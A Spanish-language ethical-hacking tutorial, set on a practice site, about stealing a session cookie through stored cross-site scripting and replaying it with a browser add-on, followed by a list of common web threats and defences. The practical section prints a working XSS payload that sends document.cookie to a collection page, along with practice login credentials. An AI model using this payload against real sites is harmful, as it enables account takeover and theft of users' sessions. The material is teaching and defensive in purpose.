Técnicas de piratería de sitios web
Más personas que nunca tienen acceso a Internet. Esto ha llevado a muchas organizaciones a desarrollar aplicaciones basadas en web que los usuarios pueden utilizar en línea para interactuar con la organización. El código mal escrito para aplicaciones web puede explotarse para obtener acceso no autorizado a datos confidenciales y servidores web.
En este tutorial aprenderá cómo piratear sitios web y le presentaremos las técnicas de piratería de aplicaciones web y las contramedidas que puede implementar para protegerse contra dichos ataques.
Cómo hackear un sitio web
En este escenario práctico de piratería de sitios web, vamos a secuestrar la sesión del usuario de la aplicación web ubicada en www.techpanda.org . Usaremos secuencias de comandos entre sitios para leer la identificación de la sesión de la cookie y luego la usaremos para hacerse pasar por una sesión de usuario legítima.
Se supone que el atacante tiene acceso a la aplicación web y le gustaría secuestrar las sesiones de otros usuarios que utilizan la misma aplicación. El objetivo de este ataque podría ser obtener acceso de administrador a la aplicación web, suponiendo que la cuenta de acceso del atacante sea limitada.
Paso 1) Abra la URL http://www.techpanda.org/ .
Para fines prácticos, se recomienda encarecidamente obtener acceso mediante inyección SQL.
Paso 2) Ingrese los detalles de inicio de sesión.
El correo electrónico de inicio de sesión es admin@google.com y la contraseña es Contraseña2010.
Mira Tambien¿Qué es una inyección SQL?Paso 3) Verifique el tablero.
Si ha iniciado sesión correctamente, obtendrá el siguiente panel
Paso 4) Ingrese contenido nuevo.
Haga clic en Agregar nuevo contacto e ingrese lo siguiente como nombre
<a href=# onclick=\»document.location=\’http://techpanda.org/snatch_sess_id.php?c=\’+escape\(document.cookie\)\;\»>Oscuro</a>
Paso 5) Agregue Javascript.
El código anterior utiliza JavaScript . Agrega un hipervínculo con un evento onclick . Cuando el usuario desprevenido hace clic en el enlace, el evento recupera el ID de sesión de la cookie PHP y lo envía a la snatch_sess_id.phppágina junto con el ID de sesión en la URL.
Paso 6) Agregar detalles.
Ingrese los detalles restantes como se muestra a continuación y haga clic en Guardar cambios.
Mira TambienHackear el sistema operativo Linux: TutorialPaso 7) Verifique el tablero.
Su panel ahora se verá como la siguiente pantalla
Paso 8) Verifique la identificación de la sesión.
Dado que el código del script entre sitios se almacena en la base de datos, se cargará cada vez que los usuarios con derechos de acceso inicien sesión.
Supongamos que el administrador inicia sesión y hace clic en el hipervínculo que dice Oscuro
Él/ella obtendrá la ventana con la identificación de la sesión que se muestra en la URL.
Nota : el script podría estar enviando el valor a algún servidor remoto donde se almacena PHPSESSID y luego el usuario es redirigido nuevamente al sitio web como si nada hubiera pasado.
Suplantación de sesión utilizando Firefox y el complemento Tamper Data
El siguiente diagrama de flujo muestra los pasos que debe seguir para completar este ejercicio.
- Necesitará el navegador web Firefox para esta sección y el complemento Tamper Data
- Abra Firefox e instale el complemento como se muestra en los diagramas siguientes
- Busque datos de manipulación y luego haga clic en instalar como se muestra arriba
- Haga clic en Aceptar e instalar…
- Haga clic en Reiniciar ahora cuando se complete la instalación.
- Habilite la barra de menú en Firefox si no se muestra
- Haga clic en el menú de herramientas y luego seleccione Datos de manipulación como se muestra a continuación
- Obtendrá la siguiente ventana. Nota: Si Windows no está vacío, presione el botón Borrar
- Haga clic en el menú Iniciar manipulación
- Vuelva al navegador web Firefox, escriba http://www.techpanda.org/dashboard.php y luego presione la tecla Intro para cargar la página.
- Obtendrá la siguiente ventana emergente de Tamper Data
- La ventana emergente tiene tres (3) opciones. La opción Tamper le permite modificar la información del encabezado HTTP antes de enviarlo al servidor .
- Haz click en eso
- Obtendrá la siguiente ventana
- Copie el ID de sesión PHP que copió de la URL del ataque y péguelo después del signo igual. Su valor ahora debería verse así
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
Mira TambienCertificación CISSP: Qué es, Requisitos Previos, Costo y Salario- Haga clic en el botón Aceptar
- Aparecerá nuevamente la ventana emergente de datos de manipulación.
- Desmarque la casilla que pregunta ¿Continuar manipulando?
- Haga clic en el botón enviar cuando haya terminado
- Debería poder ver el panel como se muestra a continuación.
Nota : no iniciamos sesión, nos hicimos pasar por una sesión de inicio de sesión utilizando el valor PHPSESSID que recuperamos mediante secuencias de comandos entre sitios
¿Qué es una aplicación web? ¿Qué son las amenazas web?
Una aplicación web (también conocida como sitio web) es una aplicación basada en el modelo cliente-servidor. El servidor proporciona el acceso a la base de datos y la lógica empresarial. Está alojado en un servidor web. La aplicación cliente se ejecuta en el navegador web del cliente. Las aplicaciones web generalmente están escritas en lenguajes como Java , C# y VB.Net, PHP, ColdFusion Markup Language, etc. Los motores de bases de datos utilizados en las aplicaciones web incluyen MySQL , MS SQL Server, PostgreSQL, SQLite, etc.
Principales técnicas de piratería de sitios web
La mayoría de las aplicaciones web están alojadas en servidores públicos a los que se puede acceder a través de Internet. Esto los hace vulnerables a ataques debido a su fácil accesibilidad. Las siguientes son amenazas comunes a las aplicaciones web.
- Inyección SQL : el objetivo de esta amenaza podría ser eludir los algoritmos de inicio de sesión, sabotear los datos, etc.
- Ataques de denegación de servicio : el objetivo de esta amenaza podría ser negar a los usuarios legítimos el acceso al recurso.
- Cross Site Scripting XSS : el objetivo de esta amenaza podría ser inyectar código que pueda ejecutarse en el navegador del lado del cliente.
- Envenenamiento de cookies/sesiones : el objetivo de esta amenaza es modificar las cookies/datos de sesión por parte de un atacante para obtener acceso no autorizado.
- Manipulación de formularios : el objetivo de esta amenaza es modificar datos de formularios, como los precios, en aplicaciones de comercio electrónico para que el atacante pueda obtener artículos a precios reducidos.
- Inyección de código : el objetivo de esta amenaza es inyectar código como PHP, Python , etc. que pueda ejecutarse en el servidor. El código puede instalar puertas traseras, revelar información confidencial, etc.
- Desfiguración : el objetivo de esta amenaza es modificar la página que se muestra en un sitio web y redirigir todas las solicitudes de página a una sola página que contenga el mensaje del atacante.
¿Cómo proteger su sitio web contra hacks?
Una organización puede adoptar la siguiente política para protegerse contra ataques al servidor web.
- Inyección SQL : desinfectar y validar los parámetros del usuario antes de enviarlos a la base de datos para su procesamiento puede ayudar a reducir las posibilidades de ser atacado mediante inyección SQL . Los motores de bases de datos como MS SQL Server, MySQL, etc. admiten parámetros y declaraciones preparadas. Son mucho más seguras que las sentencias SQL tradicionales.
- Ataques de denegación de servicio: se pueden utilizar firewalls para eliminar el tráfico de direcciones IP sospechosas si el ataque es un simple DoS. La configuración adecuada de las redes y del sistema de detección de intrusos también puede ayudar a reducir las posibilidades de que un ataque DoS tenga éxito.
- Cross Site Scripting: validar y desinfectar encabezados, parámetros pasados a través de la URL, parámetros de formulario y valores ocultos puede ayudar a reducir los ataques XSS.
- Envenenamiento de cookies/sesiones : esto se puede evitar cifrando el contenido de las cookies, desactivando el tiempo de espera de las cookies después de un tiempo y asociando las cookies con la dirección IP del cliente que se utilizó para crearlas.
- Templado de formularios: esto se puede evitar validando y verificando la entrada del usuario antes de procesarla.
- Inyección de código: esto se puede evitar tratando todos los parámetros como datos en lugar de código ejecutable. La desinfección y la validación se pueden utilizar para implementar esto.
- Desfiguración: una buena política de seguridad de desarrollo de aplicaciones web debe garantizar que sella las vulnerabilidades comúnmente utilizadas para acceder al servidor web . Esto puede ser una configuración adecuada del sistema operativo, el software del servidor web y las mejores prácticas de seguridad al desarrollar aplicaciones web.
Para protegerse contra ataques como el secuestro de sesión, considere las siguientes prácticas:
- Validación y Escapado de Entradas:
- Valide todas las entradas del usuario en el lado del servidor.
- Escape caracteres especiales en las entradas para evitar inyecciones de código.
- Librerías recomendadas: OWASP ESAPI, HTML Purifier.
- Implementar Políticas de Seguridad:
- Content Security Policy (CSP): Limite las fuentes desde donde se pueden cargar scripts.
- HTTP Headers: Utilice cabeceras de seguridad como X-Content-Type-Options, X-Frame-Options y X-XSS-Protection.
- Usar Cookies Seguras:
- HttpOnly: Evita que las cookies sean accesibles mediante JavaScript.
- Secure: Asegura que las cookies solo se envíen a través de conexiones HTTPS.
- Auditorías de Seguridad Regulares:
- Realice auditorías periódicas para identificar y corregir vulnerabilidades.
- Herramientas recomendadas: Burp Suite, OWASP ZAP.
- Autenticación y Autorización Robustas:
- Multi-Factor Authentication (MFA): Añade una capa adicional de seguridad.
- Roles y permisos: Implemente controles de acceso basados en roles (RBAC).
- Manejo Seguro de Sesiones:
- Regenerar IDs de sesión después del inicio de sesión y en intervalos regulares.
- Configurar tiempos de expiración cortos para las sesiones inactivas.
Recursos Adicionales
- OWASP (Open Web Application Security Project):
- Guías y herramientas para mejorar la seguridad de aplicaciones web.
- OWASP Top Ten: Las 10 principales amenazas de seguridad en aplicaciones web.
- Libros y Cursos:
- «Web Application Hacker’s Handbook» de Dafydd Stuttard y Marcus Pinto.
- Cursos en plataformas como Coursera, Udemy, y Pluralsight.
- Herramientas de Seguridad:
- Burp Suite: Herramienta de prueba de seguridad de aplicaciones web.
- OWASP ZAP: Proxy de pruebas de penetración.
Preguntas Frecuentes
¿Qué es el secuestro de sesión?
El secuestro de sesión es una técnica en la que un atacante roba la sesión de un usuario legítimo para hacerse pasar por él.
¿Cómo puedo proteger mi aplicación web contra XSS?
Puede proteger su aplicación contra XSS validando y escapando todas las entradas del usuario y utilizando políticas de seguridad como Content Security Policy (CSP).
¿Qué es Tamper Data?
Tamper Data es un complemento de Firefox que permite a los usuarios modificar los encabezados HTTP y las solicitudes enviadas al servidor.
¿Qué es una cookie HttpOnly?
Una cookie HttpOnly es una cookie que no puede ser accedida mediante JavaScript, lo que ayuda a prevenir ataques XSS.
¿Por qué es importante actualizar y parchear regularmente el software?
Actualizar y parchear el software regularmente es crucial para corregir vulnerabilidades conocidas y prevenir exploits.
Mira Tambien¿Qué es el ciberdelito? Tipos, herramientas y ejemplosResumen
- Una aplicación web se basa en el modelo servidor-cliente. El lado del cliente utiliza el navegador web para acceder a los recursos del servidor.
- Las aplicaciones web suelen ser accesibles a través de Internet. Esto los hace vulnerables a los ataques.
- Las amenazas a las aplicaciones web incluyen inyección SQL, inyección de código, XSS, desfiguración, envenenamiento de cookies, etc.
- Una buena política de seguridad al desarrollar aplicaciones web puede ayudar a que sean seguras.
¡Nos vemos en el próximo artículo sobre hacking ético! Esperamos que este contenido haya sido útil para comprender mejor las técnicas de piratería de sitios web y cómo protegerse contra ellas. Si tienes alguna pregunta o sugerencia para futuros temas, no dudes en dejarnos un comentario. ¡Hasta pronto!